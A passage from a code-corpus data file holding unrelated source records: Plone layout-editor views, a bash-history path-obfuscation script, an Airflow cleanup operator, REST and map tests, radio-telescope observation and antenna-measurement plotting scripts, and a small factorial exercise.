aq_inner(self.context)\n settings = json.loads(context.headlines)\n return json.dumps(settings, indent=4)\n\n\nclass EditorView(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('edit-layout')\n\n def update(self):\n context = aq_inner(self.context)\n self.context_url = context.absolute_url()\n\n def display_order(self):\n context = aq_inner(self.context)\n if self.has_open_sessions():\n items = self.open_session()\n else:\n items = context.layout_order\n return items\n\n def has_open_session(self):\n open_session = False\n try:\n session = self.open_session()\n except KeyError:\n session = None\n if session is not None:\n open_session = True\n return open_session\n\n def open_session(self):\n editor = getUtility(ILayoutEditorUtility)\n return editor.get()\n\n def editor_session(self):\n session = self.open_session()\n try:\n edit_session = session[self.context.UID()]\n except KeyError:\n edit_session = None\n return edit_session\n\n def item_details(self, uuid):\n context = aq_inner(self.context)\n obj = uuidToObject(uuid)\n if not obj:\n headlines = json.loads(context.headlines)\n item = headlines[uuid]\n data = {}\n data['type'] = 'headline'\n data['uid'] = uuid\n title_key = 'title_' + self.current_lang()\n data['title'] = item[title_key]\n return data\n else:\n data = {}\n data['type'] = 'orderable'\n data['uid'] = uuid\n data['product_code'] = obj.productCode\n obj_title = self.localized_title(obj)\n if obj_title is not None:\n data['title'] = obj_title\n else:\n data['title'] = obj.Title()\n return data\n\n def localized_title(self, obj):\n fieldname = 'title_' + self.current_lang()\n return getattr(obj, fieldname, None)\n\n def current_lang(self):\n context = aq_inner(self.context)\n pstate = getMultiAdapter((context, self.request),\n name=u'plone_portal_state')\n lang = pstate.language()\n return lang\n\n\nclass UpdateLayout(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('update-layout')\n\n def update(self):\n self.query = self.request[\"QUERY_STRING\"]\n\n def render(self):\n context = aq_inner(self.context)\n uuid = context.UID()\n editor = getUtility(ILayoutEditorUtility)\n layout_list = context.layout_order\n new_layout = list()\n sort_query = list(self.query.split(','))\n for x in sort_query:\n index = x[6:]\n value = layout_list[int(index)]\n new_layout.append(value)\n editor.add(uuid, new_layout)\n msg = _(u\"Item order successfully updated\")\n results = {'success': True,\n 'message': msg\n }\n self.request.response.setHeader('Content-Type',\n 'application/json; charset=utf-8')\n return json.dumps(results)\n\n def open_session(self):\n editor = getUtility(ILayoutEditorUtility)\n return editor.get()\n\n\nclass CommitLayout(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('commit-layout')\n\n def render(self):\n context = aq_inner(self.context)\n uuid = context.UID()\n editor = getUtility(ILayoutEditorUtility)\n session = editor.get()\n edited_layout = session[uuid]\n setattr(context, 'layout_order', edited_layout)\n modified(context)\n context.reindexObject(idxs='modified')\n session.clear()\n api.portal.show_message(\n message=_(u\"Item successfully added.\"), request=self.request)\n next_url = context.absolute_url() + '/@@edit-layout'\n return self.request.response.redirect(next_url)\n\n\nclass ResetLayout(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('reset-layout')\n\n def render(self):\n context = aq_inner(self.context)\n editor = getUtility(ILayoutEditorUtility)\n session = editor.get()\n session.clear()\n items = context.relatedProducts\n clean_layout = list()\n for item in items:\n obj = item.to_object\n clean_layout.append(obj.UID)\n setattr(context, 'layout_order', clean_layout)\n modified(context)\n context.reindexObject(idxs='modified')\n api.portal.show_message(\n message=_(u\"Layout successfully resetted\"), request=self.request)\n next_url = context.absolute_url()\n return self.request.response.redirect(next_url)\n\n\nclass Headlines(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('add-headline')\n\n def update(self):\n context = aq_inner(self.context)\n self.errors = {}\n if 'form.button.Submit' in self.request:\n authenticator = getMultiAdapter((context, self.request),\n name=u\"authenticator\")\n if not authenticator.verify():\n raise Unauthorized\n form = self.request.form\n current_layout = context.layout_order\n try:\n headlines = json.loads(context.headlines)\n except TypeError:\n headlines = {}\n new_item = {}\n new_uuid = base64.b64encode(os.urandom(24))\n new_item['title_de'] = form['headline-de']\n new_item['title_en'] = form['headline-en']\n headlines[new_uuid] = new_item\n new_headlines = json.dumps(headlines)\n setattr(context, 'headlines', new_headlines)\n if self.has_open_session():\n session = self.open_session()\n if session is not None:\n session.append(new_uuid)\n current_layout.append(new_uuid)\n setattr(context, 'layout_order', current_layout)\n modified(context)\n context.reindexObject(idxs='modified')\n api.portal.show_message(\n message=_(u\"Item successfully added.\"), request=self.request)\n next_url = context.absolute_url() + '/@@edit-layout'\n return self.request.response.redirect(next_url)\n\n def has_open_session(self):\n open_session = False\n try:\n session = self.open_session()\n except KeyError:\n session = None\n if session is not None:\n open_session = True\n return open_session\n\n def open_session(self):\n editor = getUtility(ILayoutEditorUtility)\n session = editor.get()\n try:\n edit_session = session[self.context.UID()]\n except KeyError:\n edit_session = None\n return edit_session\n\n\nclass DeleteHeadlines(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('delete-headline')\n\n def update(self):\n context = aq_inner(self.context)\n self.errors = {}\n if 'form.button.Delete' in self.request:\n authenticator = getMultiAdapter((context, self.request),\n name=u\"authenticator\")\n if not authenticator.verify():\n raise Unauthorized\n form = self.request.form\n current_layout = context.layout_order\n try:\n headlines = json.loads(context.headlines)\n except TypeError:\n headlines = {}\n uuid = form.get('headline.uid', None)\n del headlines[uuid]\n new_headlines = json.dumps(headlines)\n setattr(context, 'headlines', new_headlines)\n current_layout.remove(uuid)\n setattr(context, 'layout_order', current_layout)\n modified(context)\n context.reindexObject(idxs='modified')\n api.portal.show_message(\n message=_(u\"Headline successfully removed.\"),\n request=self.request)\n next_url = context.absolute_url() + '/@@edit-layout'\n return self.request.response.redirect(next_url)\n\n def has_open_session(self):\n open_session = False\n try:\n session = self.open_session()\n except KeyError:\n session = None\n if session is not None:\n open_session = True\n return open_session\n\n def open_session(self):\n editor = getUtility(ILayoutEditorUtility)\n session = editor.get()\n try:\n edit_session = session[self.context.UID()]\n except KeyError:\n edit_session = None\n return edit_session\n\n def item_details(self, uuid):\n context = aq_inner(self.context)\n obj = uuidToObject(uuid)\n if not obj:\n headlines = json.loads(context.headlines)\n item = headlines[uuid]\n data = {}\n data['type'] = 'headline'\n data['uid'] = uuid\n title_key = 'title_' + self.current_lang()\n data['title'] = item[title_key]\n return data\n else:\n data = {}\n data['type'] = 'orderable'\n data['uid'] = uuid\n data['product_code'] = obj.productCode\n obj_title = self.localized_title(obj)\n if obj_title is not None:\n data['title'] = obj_title\n else:\n data['title'] = obj.Title()\n return data\n\n def localized_title(self, obj):\n fieldname = 'title_' + self.current_lang()\n return getattr(obj, fieldname, None)\n\n def current_lang(self):\n context = aq_inner(self.context)\n pstate = getMultiAdapter((context, self.request),\n name=u'plone_portal_state')\n lang = pstate.language()\n return lang\n\n\nclass ClearEditor(grok.View):\n grok.context(IItemCollection)\n grok.require('cmf.ModifyPortalContent')\n grok.name('clear-editor')\n\n def update(self):\n context = aq_inner(self.context)\n self.errors = {}\n if 'form.button.Submit' in self.request:\n authenticator = getMultiAdapter((context, self.request),\n name=u\"authenticator\")\n if not authenticator.verify():\n raise Unauthorized\n if self.has_open_session():\n session = self.open_session()\n if session is not None:\n editor = getUtility(ILayoutEditorUtility)\n editor.delete(context.UID())\n editor.clear()\n api.portal.show_message(\n message=_(u\"Item successfully added.\"), request=self.request)\n next_url = context.absolute_url()\n return self.request.response.redirect(next_url)\n\n def has_open_session(self):\n open_session = False\n try:\n session = self.open_session()\n except KeyError:\n session = None\n if session is not None:\n open_session = True\n return open_session\n\n def open_session(self):\n editor = getUtility(ILayoutEditorUtility)\n session = editor.get()\n try:\n edit_session = session[self.context.UID()]\n except KeyError:\n edit_session = None\n return edit_session\n","sub_path":"src/chromsystems.shopcontent/chromsystems/shopcontent/itemcollection.py","file_name":"itemcollection.py","file_ext":"py","file_size_in_byte":18478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"52494508","text":"#\n# Soryy, I placed everything in one file for this...\n# ======================\n# Imports\n#======================\n\nimport pandas as pd\nimport re\nimport os\nimport random, string\n\ndef randomword(length):\n letters = string.ascii_lowercase\n return ''.join(random.choice(letters) for i in range(length))\n\nfrom enum import Enum\nfrom typing import NamedTuple, List, Dict, Tuple\n\n#======================\n# Constants\n#======================\n\n# Set these variables\nINPUT_FILE = \"./data/00_raw/00_ari_bash_history.txt\"\nOUTPUT_FILE = \"./data/01_parsed/01_ari.pickle\"\nHOME_PATH = \"/home/ari\"\n\n# General Defaults\nPIPE_CMDS = (\";\",\"|\",\"&\",\"&&\",\"||\")\nCD = \"cd\"\nPATH_CMDS = [\n # common ones\n CD, \"cat\", \"mv\", \"rm\", \"cp\", \"mkdir\", \"tail\",\n # special software\n \"firefox\", \"git\", \"chrome\", \"source\", \"code\", \n]\n\n#======================\n# Token Manipulation\n#======================\nclass TokenType(Enum):\n Path='path'\n Pipe='pipe'\n PathCMD='path-command'\n Unknown='n/a'\n\nclass Token(NamedTuple):\n token_text: str\n token_type: TokenType\n row_idx: int = -1\n start_path: str = ''\n end_path: str = ''\n\n @classmethod\n def tokenize(cls, text: str):\n if len(text.split('/')) > 1:\n return cls(token_text=text, token_type=TokenType.Path)\n elif text in PIPE_CMDS:\n return cls(token_text=text, token_type=TokenType.Pipe)\n elif text in PATH_CMDS:\n return cls(token_text=text, token_type=TokenType.PathCMD)\n else:\n return cls(token_text=text, token_type=TokenType.Unknown)\n\n @classmethod\n def tokenizer(cls, row_idx:int, start_path: str, line: str):\n prior_is_path_cmd = False\n prior_is_cd = False\n for text in line.split(' '):\n text = text.strip()\n end_path = start_path\n token = cls.tokenize(text)\n \n if prior_is_path_cmd and token.token_type != TokenType.PathCMD:\n token = cls(token_text=token.token_text, token_type=TokenType.Path)\n \n # check if ends with pipe cmd\n endswith_pipe = False\n if token.token_type != TokenType.Pipe:\n for pcmd in PIPE_CMDS:\n if token.token_text.endswith(pcmd):\n endswith_pipe = True\n break\n\n if token.token_type == TokenType.PathCMD:\n prior_is_path_cmd = True\n prior_is_cd = token.token_text == CD\n elif prior_is_cd:\n text = token.token_text\n if endswith_pipe:\n text = text[0:(len(text)-len(pcmd))]\n if text.startswith(\"/\"):\n end_path = text\n elif text.startswith(\"~\"):\n end_path = os.path.join(HOME_PATH, text[1:])\n elif text.startswith('./'):\n end_path = os.path.join(start_path, text[2:])\n else:\n end_path = os.path.join(start_path, text)\n prior_is_path_cmd = False\n prior_is_cd = False\n\n if endswith_pipe:\n yield cls(\n token_text=token.token_text[0:(len(token.token_text)-len(pcmd))],\n token_type=token.token_type,\n row_idx=row_idx,\n start_path=start_path,\n end_path=end_path\n )\n yield cls(\n token_text=pcmd,\n token_type=TokenType.Pipe,\n row_idx=row_idx,\n start_path=end_path,\n end_path=end_path\n )\n else:\n yield cls(\n token_text=token.token_text,\n token_type=token.token_type,\n row_idx=row_idx,\n start_path=start_path,\n end_path=end_path\n )\n start_path = end_path\n\n#======================\n# Read file, convert to tokens\n#======================\ndata = []\nwith open(INPUT_FILE) as inf:\n curr_path = HOME_PATH\n for row_idx, row in enumerate(inf):\n for token in Token.tokenizer(row_idx, curr_path, row.strip()):\n data.append(token)\n curr_path = token.end_path\n \ndata = pd.DataFrame(data)\n\n#======================\n# Path obstructions\n#======================\nObtuseMapping = Dict[int, Dict[str, List[str]]]\n\ndef path_obtuse(path: str, optuse_paths: List[str]) -> Tuple[str, list]:\n if path not in optuse_paths:\n optuse_paths.append(path)\n return str(optuse_paths.index(path)), optuse_paths\n\ndef path_obtuse_full(path: str, op_paths: ObtuseMapping) -> Tuple[ str, ObtuseMapping ]:\n last_sub_path = '/'\n obt_path = \"\"\n for level, subpath in enumerate(path.split('/')[1:]):\n if level not in op_paths.keys():\n op_paths[level] = {}\n if last_sub_path not in op_paths[level].keys():\n op_paths[level][last_sub_path] = []\n op_sp = op_paths[level][last_sub_path]\n subpath, op_sp = path_obtuse(subpath, op_sp)\n last_sub_path = subpath\n obt_path += '/'\n obt_path += subpath\n\n return obt_path, op_paths\n\n# Get all unique paths\nall_paths = set(\n data.end_path[data.token_type == TokenType.Path].unique()\n).union(\n data.start_path[data.token_type == TokenType.Path].unique()\n)\n\n\n# Obtuse paths\nmapping: Dict[str, str] = {}\nop_paths: ObtuseMapping = {}\nfor text in all_paths:\n otext, op_paths = path_obtuse_full(text, op_paths)\n mapping[text] = otext\n\ndef apply_obts(row: pd.Series, op_paths: ObtuseMapping = op_paths) -> pd.DataFrame:\n row.end_path = mapping[row.end_path]\n row.start_path = mapping[row.start_path]\n if row.token_type == TokenType.Path:\n if row.token_text in mapping.keys():\n row.token_text = mapping[row.token_text]\n else:\n if row.token_text.startswith('/') or row.token_text.startswith('~'):\n otext, op_paths = path_obtuse_full(row.token_text, op_paths)\n mapping[row.token_text] = otext\n else:\n text = os.path.join(row.start_path, row.token_text)\n otext, op_paths = path_obtuse_full(text, op_paths)\n row.token_text = otext\n return row\n\n# apply obstruction to all paths\nob_data = data.apply(\n axis=1,\n func=apply_obts \n)\n\n#======================\n# Rebuild final dataset and save\n#======================\nob_data.groupby('row_idx').apply(\n lambda g: \" \".join(g.token_text.values)\n).to_pickle(OUTPUT_FILE)","sub_path":"00_extract_bash_history.py","file_name":"00_extract_bash_history.py","file_ext":"py","file_size_in_byte":6609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"648736401","text":"from airflow.operators.bash_operator import BashOperator\n\n\nADAPTER_PROPERTIES_PATH = \"/var/lib/netwitness/presidio/flume/conf/adapter/\"\n\n\ndef build_adapter_properties_cleanup_operator(cleanup_dag, num_hours_not_delete, task_id):\n adapter_clean_bash_command = \"find {0} -type f -name '*-*' -mmin +{1} -exec rm -f {{}} \\;\"\\\n .format(ADAPTER_PROPERTIES_PATH, num_hours_not_delete * 60)\n clean_adapter_operator = BashOperator(task_id=task_id,\n bash_command=adapter_clean_bash_command,\n dag=cleanup_dag)\n return clean_adapter_operator\n","sub_path":"presidio-core/presidio-workflows/presidio/builders/adapter/adapter_properties_cleanup_operator_builder.py","file_name":"adapter_properties_cleanup_operator_builder.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"9825576","text":"import os\nimport requests\nfrom requests.auth import HTTPBasicAuth\nimport pytest\nimport json\nfrom datetime import datetime, timedelta\n\ndef test_rest_provider():\n\n url='http://0.0.0.0:5000'\n\n user='testuser'\n password='TE$tP@ss123'\n\n calendar='sample'\n\n\n s = requests.Session()\n # Making a auth post request\n payload = {'username':user,'password':password}\n s.post((url + '/do_login'),data=payload)\n\n\n # Making a auth post request to remove api mapping\n response = s.post((url + '/deleteapi/1'))\n\n\n # Making a get request to update token\n response = s.get((url + '/api/update/'))\n token=(((response.json())[1]).split(':')[1]).strip ()\n #print(response.status_code)\n #print(response.content)\n #print(token)\n\n # Making a get request to call rest provider\n response = s.get((url + '/call/test/' + user + '&' + token))\n #print(response.status_code)\n #print(response.content)\n\n assert response.status_code == 500\n\n assert 'No duty found for' in str(response.content)\n\n\n\n current_date=datetime.today().strftime('%Y-%-m-%d')\n\n # Making a post request to create new duty task\n files = {\n 'project': (None, 'test'),\n 'duty1': (None, 'duty01'),\n 'duty2': (None, 'duty02'),\n 'date': (None, current_date),\n 'enddate': (None, current_date),\n 'is_all_day': (None, '1'),\n 'start_time': (None, '00:00'),\n 'end_time': (None, '00:00'),\n 'repetition_value_weekday': (None, '0'),\n 'repetition_value_monthday': (None, '1'),\n 'repetition_value_monthday_end': (None, '1'),\n 'repetition_value': (None, '0'),\n 'details': (None, ''),\n 'color': (None, '#3EB34F'), \n }\n\n\n response = s.post((url + '/' + calendar + '/new_task'),files=files)\n\n # Making a get request to call rest provider\n response = s.get((url + '/call/test/' + user + '&' + token))\n #print(response.status_code)\n #print(response.content)\n\n assert response.status_code == 200\n\n assert 'Send REST request to:\",\"http://0.0.0.0:5000/test/&@out&extension=&context=play&timeout=900\",\" complete successfully' in str(response.content)\n\n # Making a post request to call rest provider\n response = s.post((url + '/call/test/' + user + '&' + token))\n #print(response.status_code)\n #print(response.content)\n\n assert response.status_code == 200\n\n assert 'Send REST request to:\",\"http://0.0.0.0:5000/test/&@out&extension=&context=play&timeout=900\",\" complete successfully' in str(response.content)\n\n\n response_check = s.get((url + '/api/check/' + user + '&' + token))\n #print(response_check.status_code)\n #print(response_check.content)\n\n assert response_check.status_code == 200\n\n assert 'auth success!' in str(response_check.content)\n\n#test_rest_provider()","sub_path":"test/22_test_rest_provider.py","file_name":"22_test_rest_provider.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"4450497","text":"from .fixtures import app, client\nfrom . import helpers\nimport os\nfrom os.path import dirname\n\n\ndef test_restaurants_map_is_correct(client, app):\n helpers.create_operator(client)\n helpers.login_operator(client)\n helpers.create_restaurant(client)\n\n # in order to regenerate the map with test values\n res = client.get(\"/\")\n\n assert b\"Trattoria da Fabio\" in res.data\n assert b\"40.720586\" in res.data\n assert b\"10.1\" in res.data\n assert b\"555123456\" in res.data\n\n\ndef test_map_is_in_view(client):\n helpers.create_operator(client)\n helpers.login_operator(client)\n helpers.create_restaurant(client)\n\n res = client.get(\"/\")\n\n assert b'id=\"map\"' in res.data\n","sub_path":"tests/test_map.py","file_name":"test_map.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"613225591","text":"#!/usr/bin/python\n\nimport sys\nimport logging\nimport time\nfrom optparse import OptionParser\n\nfrom SNAPobs import snap_defaults,snap_recorder,snap_plot\nfrom ATATools import ata_control,logger_defaults,ata_positions,snap_array_helpers\n\ndefault_fpga_file = snap_defaults.plot_snap_file\ndefault_rms = snap_defaults.rms\ndefault_recs = 600\n\ndef main():\n\n # Define the argumants\n parser = OptionParser(usage= 'Usage %prog options',\n description='Plot spectrogram(waterfall) of single antenna')\n\n #parser.add_argument('hosts', type=str, help = hostnamesHelpString)\n parser.add_option('--fpga', dest='fpga_file', type=str, action=\"store\", default=default_fpga_file,\n help = '.fpgfile to program')\n parser.add_option('-a', dest='ant', type=str, action=\"store\", default=None,\n help ='antenna name eg: \\\"2j\\\".')\n parser.add_option('-s', dest='source', type=str, action=\"store\", default=None,\n help ='source name to record')\n parser.add_option('-f', dest='freq', type=float, action=\"store\", default=None,\n help ='observation frequency, in MHz. Only one set of frequencies')\n parser.add_option('-l', dest='len', type=int, action=\"store\", default=default_recs,\n help ='waterfall len (time)')\n parser.add_option('-v', '--verbose', dest='verbose', action=\"store_true\", default=False,\n help =\"More on-screen information\")\n parser.add_option('-p', '--park', dest='do_park', action=\"store_true\", default=False,\n help =\"Park the antennas afterwards\")\n\n (options,args) = parser.parse_args()\n\n if(options.verbose):\n logger = logger_defaults.getProgramLogger(\"SNAP_OBS\",loglevel=logging.INFO)\n else:\n logger = logger_defaults.getProgramLogger(\"SNAP_OBS\",loglevel=logging.WARNING)\n\n if len(sys.argv) <= 1:\n logger.warning(\"no options provided\")\n parser.print_help()\n sys.exit(1)\n\n if options.ant:\n ant_str = options.ant\n else:\n logger.error(\"antennas were not provided and no config file\")\n raise RuntimeError(\"no antenna string\")\n\n if options.freq:\n freq = options.freq\n else: \n logger.error(\"no frequency set\")\n raise RuntimeError(\"no frequency set\")\n\n if options.source:\n source = options.source\n else: \n logger.error(\"sources was not provided\")\n raise RuntimeError(\"no source string\")\n\n fpga_file = options.fpga_file\n do_park = options.do_park\n waterfalllen = options.len\n do_snap_waterfall(ant_str,freq, source, fpga_file, waterfalllen, do_park)\n\n exit()\n\ndef do_snap_waterfall(ant_str,freq, source, fpga_file, waterfalllen, do_park = False):\n\n logger = logger_defaults.getModuleLogger(__name__)\n\n ant_list = snap_array_helpers.string_to_array(ant_str);\n full_ant_str = snap_array_helpers.array_to_string(ant_list)\n\n if waterfalllen < 2:\n logger.error('waterfall len too short')\n raise RuntimeError('waterfall len too short')\n\n try:\n ant_groups = ata_control.get_snap_dictionary(ant_list)\n except:\n logstr = \"unable to match antennas with snaps\"\n logger.exception(logstr)\n raise\n \n if len(ant_list) != 1:\n logger.error('only 1 antenna allowed')\n raise RuntimeError('only 1 antenna allowed')\n\n if len(ant_groups) != 1:\n logger.error('only 1 antenna allowed')\n raise RuntimeError('only 1 antenna allowed')\n\n ant_dict = {}\n for csnap in ant_groups:\n if len(ant_groups[csnap]) != 1:\n logger.error('only one antenna per snap allowed, got {}: {}'.format(csnap,\",\".join(ant_groups[csnap])))\n raise RuntimeError(\"only 1 antenna per snap allowed\")\n\n snaphost = csnap\n currAnt = ant_groups[csnap][0]\n \n logger.info(\"Reserving antennas %s in bfa antgroup\" % full_ant_str)\n try:\n ata_control.reserve_antennas(ant_list)\n except:\n logstr = \"unable to reserve the antennas\"\n logger.exception(logstr)\n raise\n\n logger.info(\"starting plotting\")\n try:\n ata_control.try_on_lna(currAnt)\n source_status = ata_positions.ATAPositions.getFirstInListThatIsUp([source])\n if not source_status:\n errormsg = 'source {} is not up (or too close to sun/moon)... terminating observation set {}'.format(source,obs_set_id)\n logger.error(errormsg)\n raise RuntimeError(errormsg)\n if source_status['status'] != 'up':\n if source_status['status'] == 'next_up':\n errormsg = 'source {} is not up (or too close to sun/moon). Will be up in {} minutes. Terminating observation set {}'.format(source,source_status['minutes'],obs_set_id)\n else:\n errormsg = 'source {} is not up (or too close to sun/moon)... terminating observation set {}'.format(source,obs_set_id)\n logger.error(errormsg)\n raise RuntimeError(errormsg)\n\n\n logger.info(\"pointing the antennas\")\n ata_control.make_and_track_ephems(source, currAnt );\n logger.info(\"autotuning\")\n ata_control.autotune(currAnt)\n ata_control.rf_switch_thread([currAnt])\n\n logger.info(\"changing to frequency {}\".format(freq))\n ata_control.set_freq(freq, currAnt)\n snap_recorder.setSnapRMS(snaphost,currAnt,fpga_file,default_rms)\n snap_plot.plotWaterfall(snaphost, waterfalllen, freq,fpga_file)\n\n except KeyboardInterrupt:\n logger.info(\"Keyboard interuption\")\n except Exception as e:\n logger.exception(\"something went wrong\")\n errmsg = \"Finishing recording - failed: {}\".format(e)\n raise\n finally: \n logger.info(\"shutting down\")\n ata_control.release_antennas(ant_list, do_park)\n\nif __name__== \"__main__\":\n main()\n\n","sub_path":"SingleMeasurements/plot_waterfall_live.py","file_name":"plot_waterfall_live.py","file_ext":"py","file_size_in_byte":5875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"537811675","text":"import numpy as np\nfrom gainData import AntennaBalunMeasurement as ABM\nfrom gainData import AntennaDiffMeasurement as ADM\nfrom gainData import GainData as GD\nimport matplotlib.pyplot as plt\n\n#load measurements\nhybrid_coupler_A=ABM()\nhybrid_coupler_B=ABM()\ncambridge_balun=ABM()\nno_balun=ADM()\n\nhybrid_coupler_A.read_files('../Rooftop_Antenna_Measurements_August_10th/','_hybrid_A_port_A_antenna',\n '../hybrid_coupler_A_Sierra/A_','','ANRITSU_CSV',\n '1','3','4',0.05,0.25)\nhybrid_coupler_B.read_files('../Rooftop_Antenna_Measurements_August_10th/','_hybrid_B_port_A_antenna',\n '../hybrid_coupler_B/1','','ANRITSU_CSV',\n '1','3','4',0.05,0.25)\ncambridge_balun.read_files('../Rooftop_Antenna_Measurements_August_10th/','_cambridge_balun_N_antenna_0',\n '../Cambridge_Balun_Measurements_N/','','ANRITSU_CSV',\n '1','2','3',0.05,0.25)\n\nno_balun.read_files('../Rooftop_Antenna_Measurements_August_10th/','_no_balun_antenna','ANRITSU_CSV',0.05,0.25)\n\nsimulation=GD()\nsimulation.read_files('../Rooftop_Antenna_Measurements_August_10th/Simulation/simulation_s11_rooftop','CST_S11',fMin=0.05,fMax=0.25)\nsimulation.gainFrequency=simulation.gainFrequency\n\n#load Jianshu's data\n'''\nimpedance_sim_amp=np.loadtxt(('../Rooftop_Antenna_Measurements_August_10th/'\n 'Simulation/simulation_impedance_rooftop_amp.txt'))\nimpedance_sim_pha=np.loadtxt(('../Rooftop_Antenna_Measurements_August_10th/'\n 'Simulation/simulation_impedance_rooftop_pha.txt'))\nsim_impedance=impedance_sim_amp[:,1]*np.exp(1j*impedance_sim_pha[:,1])\nsim_freq=impedance_sim_amp[:,0]\nsim_s11=(sim_impedance-100)/(sim_impedance+100)\nfig0=plt.figure()\nax0=fig0.add_axes([.1,.1,.8,.8])\nax0.plot(sim_impedance.real)\nax0.plot(sim_impedance.imag)\n'''\n\n\ndb_s11_A_corr=10.*np.log10(np.abs(hybrid_coupler_A.antenna_gain_corrected_frequency))\ndb_s11_A=10.*np.log10(np.abs(hybrid_coupler_A.antenna_raw.gainFrequency))\ndb_s11_B_corr=10.*np.log10(np.abs(hybrid_coupler_B.antenna_gain_corrected_frequency))\ndb_s11_B=10.*np.log10(np.abs(hybrid_coupler_B.antenna_raw.gainFrequency))\ndb_s11_cam_corr=10.*np.log10(np.abs(cambridge_balun.antenna_gain_corrected_frequency))\ndb_s11_cam=10.*np.log10(np.abs(cambridge_balun.antenna_raw.gainFrequency))\ndb_s11_no_balun=10.*np.log10(np.abs(no_balun.antenna_gain_frequency))\ndb_s11_sim=10.*np.log10(np.abs(simulation.gainFrequency))\n\n\n\npha_s11_A_corr=np.angle(hybrid_coupler_A.antenna_gain_corrected_frequency)\npha_s11_A=np.angle(hybrid_coupler_A.antenna_raw.gainFrequency)\npha_s11_B_corr=np.angle(hybrid_coupler_B.antenna_gain_corrected_frequency)\npha_s11_B=np.angle(hybrid_coupler_B.antenna_raw.gainFrequency)\npha_s11_cam_corr=np.angle(cambridge_balun.antenna_gain_corrected_frequency)\npha_s11_cam=np.angle(cambridge_balun.antenna_raw.gainFrequency)\npha_s11_no_balun=np.angle(no_balun.antenna_gain_frequency)\npha_s11_sim=np.angle(simulation.gainFrequency)\n\nfig1=plt.figure()\nfig2=plt.figure()\nfig3=plt.figure()\nfig4=plt.figure()\n\nax1=fig1.add_axes([.1,.1,.8,.8])\nax2=fig2.add_axes([.1,.1,.8,.8])\nax3=fig3.add_axes([.1,.1,.8,.8])\nax4=fig4.add_axes([.1,.1,.8,.8])\n\nax1.plot(hybrid_coupler_A.fAxis,db_s11_A,color='k',ls='--',alpha=.5)\nax1.plot(hybrid_coupler_A.fAxis,db_s11_A_corr,color='k',label='Balun A Corrected')\nax1.plot(hybrid_coupler_B.fAxis,db_s11_B,color='grey',ls='--',alpha=.5)\nax1.plot(hybrid_coupler_B.fAxis,db_s11_B_corr,color='grey',label='Balun B Corrected')\nax1.plot(cambridge_balun.fAxis,db_s11_cam,color='red',ls='--',alpha=.5)\nax1.plot(cambridge_balun.fAxis,db_s11_cam_corr,color='red',label='Balun C Corrected')\nax1.plot(no_balun.fAxis,db_s11_no_balun,color='orange',label='No Balun')\n#ax1.plot(simulation.fAxis,db_s11_sim,color='k',lw=5,label='Simulation')\nax1.grid()\nfig1.set_size_inches(10,6)\nax1.set_xlabel('frequency (GHz)')\nax1.set_ylabel('|S$_{11}$| (dB)')\nax1.legend(loc='best')\n\nplotstrs=['s11','s1d','sd1','sdd','s1c','sc1','scc','scd','sdc']\n\nax2.plot(hybrid_coupler_A.fAxis,pha_s11_A,color='k',ls='--',alpha=.5)\nax2.plot(hybrid_coupler_A.fAxis,pha_s11_A_corr,color='k',label='Balun A Corrected')\nax2.plot(hybrid_coupler_B.fAxis,pha_s11_B,color='grey',ls='--',alpha=.5)\nax2.plot(hybrid_coupler_B.fAxis,pha_s11_B_corr,color='grey',label='Balun B Corrected')\nax2.plot(cambridge_balun.fAxis,pha_s11_cam,color='red',ls='--',alpha=.5)\nax2.plot(cambridge_balun.fAxis,pha_s11_cam_corr,color='red',label='Balun C Corrected')\nax2.plot(no_balun.fAxis,pha_s11_no_balun,color='orange',label='No Balun')\n#ax2.plot(simulation.fAxis,pha_s11_sim,color='k',lw=5,label='Simulation')\nax2.grid()\nfig2.set_size_inches(10,6)\nax2.set_xlabel('frequency (GHz)')\nax2.set_ylabel('Arg($S_{11}$) (rad)')\nax2.legend(loc='best')\n\n\nax3.plot(hybrid_coupler_A.fAxis,hybrid_coupler_A.gain_corrected_frequency.real,color='k')\nax3.plot(hybrid_coupler_A.fAxis,hybrid_coupler_A.gain_corrected_frequency.imag,color='k',ls='--')\nax3.plot(hybrid_coupler_B.fAxis,hybrid_coupler_B.gain_corrected_frequency.real,color='grey')\nax3.plot(hybrid_coupler_B.fAxis,hybrid_coupler_B.gain_corrected_frequency.imag,color='grey',ls='--')\nax3.plot(cambridge_balun.fAxis,cambridge_balun.gain_corrected_frequency.real,color='r')\nax3.plot(cambridge_balun.fAxis,cambridge_balun.gain_corrected_frequency.imag,color='r',ls='--')\n\n\nfig1.savefig('Sinuous_s11_amp_comarision_August_10th_2017_vincent_presentation.pdf')\nfig2.savefig('Sinuous_s11_pha_comarision_August_10th_2017_vincent_presentation.pdf')\n\n\nplt.show()\n","sub_path":"src/plot_rooftop_measurements_vincent.py","file_name":"plot_rooftop_measurements_vincent.py","file_ext":"py","file_size_in_byte":5573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"637564370","text":"#060 - Faça um programa que leia um número qualquer e mostre o seu fatorial.\n\nf = int(input(\"Digite um número para \\ncalcular seu fatorial: \"))\n\ncont = f\nm = 1\n\nprint(\"Calculando {}! =\".format(f), end=\"\")\n\nwhile cont > 0:\n m *= cont\n print(\" {}\".format(cont), end=\"\")\n if cont > 1:\n print(\" x\", end=\"\")\n else:\n print(\" = \", end=\"\")\n cont -= 1\n 